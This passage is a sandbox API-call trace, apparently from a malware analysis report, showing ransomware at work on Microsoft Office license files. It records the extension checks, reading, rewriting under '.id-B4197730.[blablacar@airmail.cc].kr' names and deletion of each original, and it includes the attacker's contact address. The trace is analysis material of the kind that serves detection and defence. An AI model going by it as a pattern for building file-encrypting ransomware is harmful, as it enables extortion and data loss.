Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.349] lstrlenW (lpString=".1cd") returned 4 [0204.349] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.349] lstrlenW (lpString=".jpg") returned 4 [0204.349] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.349] lstrlenW (lpString=".doc") returned 4 [0204.349] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.349] lstrlenW (lpString=".docx") returned 5 [0204.349] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.349] lstrlenW (lpString=".pdf") returned 4 [0204.349] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.349] lstrlenW (lpString=".xls") returned 4 [0204.349] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.349] lstrlenW (lpString=".xlsx") returned 5 [0204.349] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.349] lstrlenW (lpString=".ppt") returned 4 [0204.349] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.349] lstrlenW (lpString=".zip") returned 4 [0204.349] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.349] lstrlenW (lpString=".rar") returned 4 [0204.349] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.349] lstrlenW (lpString=".bz2") returned 4 [0204.349] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.349] lstrlenW (lpString=".7z") returned 3 [0204.349] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.349] lstrlenW (lpString=".dbf") returned 4 [0204.349] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.349] lstrlenW (lpString=".1cd") returned 4 [0204.350] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.350] lstrlenW (lpString=".jpg") returned 4 [0204.350] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.350] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.350] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 45 [0204.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0204.350] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11669) returned 1 [0204.350] CloseHandle (hObject=0x550) returned 1 [0204.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0204.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0204.351] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.351] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0204.354] GetLastError () returned 0x0 [0204.354] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d95, lpOverlapped=0x0) returned 1 [0204.356] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2da0, lpOverlapped=0x0) returned 1 [0204.357] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0204.357] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x12e, lpOverlapped=0x0) returned 1 [0204.358] SetEndOfFile (hFile=0x520) returned 1 [0204.358] CloseHandle (hObject=0x520) returned 1 [0204.358] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.358] SetEndOfFile (hFile=0x550) returned 1 [0204.361] CloseHandle (hObject=0x550) returned 1 [0204.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0204.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.364] lstrlenW (lpString=".doc") returned 4 [0204.364] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.364] lstrlenW (lpString=".docx") returned 5 [0204.364] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.364] lstrlenW (lpString=".pdf") returned 4 [0204.364] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.364] lstrlenW (lpString=".xls") returned 4 [0204.364] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.364] lstrlenW (lpString=".xlsx") returned 5 [0204.364] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.364] lstrlenW (lpString=".ppt") returned 4 [0204.364] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.364] lstrlenW (lpString=".zip") returned 4 [0204.364] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.364] lstrlenW (lpString=".rar") returned 4 [0204.364] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.364] lstrlenW (lpString=".bz2") returned 4 [0204.364] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.364] lstrlenW (lpString=".7z") returned 3 [0204.364] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.364] lstrlenW (lpString=".dbf") returned 4 [0204.364] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.364] lstrlenW (lpString=".1cd") returned 4 [0204.364] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.365] lstrlenW (lpString=".jpg") returned 4 [0204.365] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.365] lstrlenW (lpString=".doc") returned 4 [0204.365] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.365] lstrlenW (lpString=".docx") returned 5 [0204.365] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.365] lstrlenW (lpString=".pdf") returned 4 [0204.365] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.365] lstrlenW (lpString=".xls") returned 4 [0204.365] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.365] lstrlenW (lpString=".xlsx") returned 5 [0204.365] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.365] lstrlenW (lpString=".ppt") returned 4 [0204.365] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.365] lstrlenW (lpString=".zip") returned 4 [0204.365] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.365] lstrlenW (lpString=".rar") returned 4 [0204.365] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.365] lstrlenW (lpString=".bz2") returned 4 [0204.365] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.365] lstrlenW (lpString=".7z") returned 3 [0204.365] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.365] lstrlenW (lpString=".dbf") returned 4 [0204.366] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.366] lstrlenW (lpString=".1cd") returned 4 [0204.366] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0204.366] lstrlenW (lpString=".jpg") returned 4 [0204.366] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.366] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.366] lstrlenW (lpString="O365ProPlusR_Grace-ppd.xrm-ms") returned 29 [0204.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0204.367] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=24302) returned 1 [0204.367] CloseHandle (hObject=0x550) returned 1 [0204.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 0x220 [0204.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0204.368] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.368] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0204.369] GetLastError () returned 0x0 [0204.369] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5eee, lpOverlapped=0x0) returned 1 [0204.372] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0204.373] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0204.373] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0204.373] SetEndOfFile (hFile=0x520) returned 1 [0204.373] CloseHandle (hObject=0x520) returned 1 [0204.373] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.374] SetEndOfFile (hFile=0x550) returned 1 [0204.378] CloseHandle (hObject=0x550) returned 1 [0204.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 1 [0204.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.380] lstrlenW (lpString=".doc") returned 4 [0204.380] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.380] lstrlenW (lpString=".docx") returned 5 [0204.380] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.380] lstrlenW (lpString=".pdf") returned 4 [0204.380] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.380] lstrlenW (lpString=".xls") returned 4 [0204.380] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.380] lstrlenW (lpString=".xlsx") returned 5 [0204.380] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.380] lstrlenW (lpString=".ppt") returned 4 [0204.380] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.380] lstrlenW (lpString=".zip") returned 4 [0204.380] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.380] lstrlenW (lpString=".rar") returned 4 [0204.380] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.380] lstrlenW (lpString=".bz2") returned 4 [0204.380] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.380] lstrlenW (lpString=".7z") returned 3 [0204.380] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.380] lstrlenW (lpString=".dbf") returned 4 [0204.380] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.380] lstrlenW (lpString=".1cd") returned 4 [0204.380] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.380] lstrlenW (lpString=".jpg") returned 4 [0204.380] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.381] lstrlenW (lpString=".doc") returned 4 [0204.381] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.381] lstrlenW (lpString=".docx") returned 5 [0204.381] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.381] lstrlenW (lpString=".pdf") returned 4 [0204.381] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.381] lstrlenW (lpString=".xls") returned 4 [0204.381] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.381] lstrlenW (lpString=".xlsx") returned 5 [0204.381] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.381] lstrlenW (lpString=".ppt") returned 4 [0204.381] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.381] lstrlenW (lpString=".zip") returned 4 [0204.381] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.381] lstrlenW (lpString=".rar") returned 4 [0204.381] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.381] lstrlenW (lpString=".bz2") returned 4 [0204.381] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.381] lstrlenW (lpString=".7z") returned 3 [0204.381] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.381] lstrlenW (lpString=".dbf") returned 4 [0204.381] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.381] lstrlenW (lpString=".1cd") returned 4 [0204.381] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0204.381] lstrlenW (lpString=".jpg") returned 4 [0204.381] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.382] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.382] lstrlenW (lpString="O365ProPlusR_Grace-ul-oob.xrm-ms") returned 32 [0204.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0204.382] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11619) returned 1 [0204.382] CloseHandle (hObject=0x550) returned 1 [0204.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 0x220 [0204.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0204.383] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.383] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0204.384] GetLastError () returned 0x0 [0204.384] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d63, lpOverlapped=0x0) returned 1 [0204.655] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0204.657] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0204.657] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x114, lpOverlapped=0x0) returned 1 [0204.657] SetEndOfFile (hFile=0x520) returned 1 [0204.657] CloseHandle (hObject=0x520) returned 1 [0204.657] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.658] SetEndOfFile (hFile=0x550) returned 1 [0204.682] CloseHandle (hObject=0x550) returned 1 [0204.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 1 [0204.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.684] lstrlenW (lpString=".doc") returned 4 [0204.684] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.684] lstrlenW (lpString=".docx") returned 5 [0204.684] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.684] lstrlenW (lpString=".pdf") returned 4 [0204.684] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.684] lstrlenW (lpString=".xls") returned 4 [0204.684] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.684] lstrlenW (lpString=".xlsx") returned 5 [0204.684] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.684] lstrlenW (lpString=".ppt") returned 4 [0204.684] lstrcmpiW 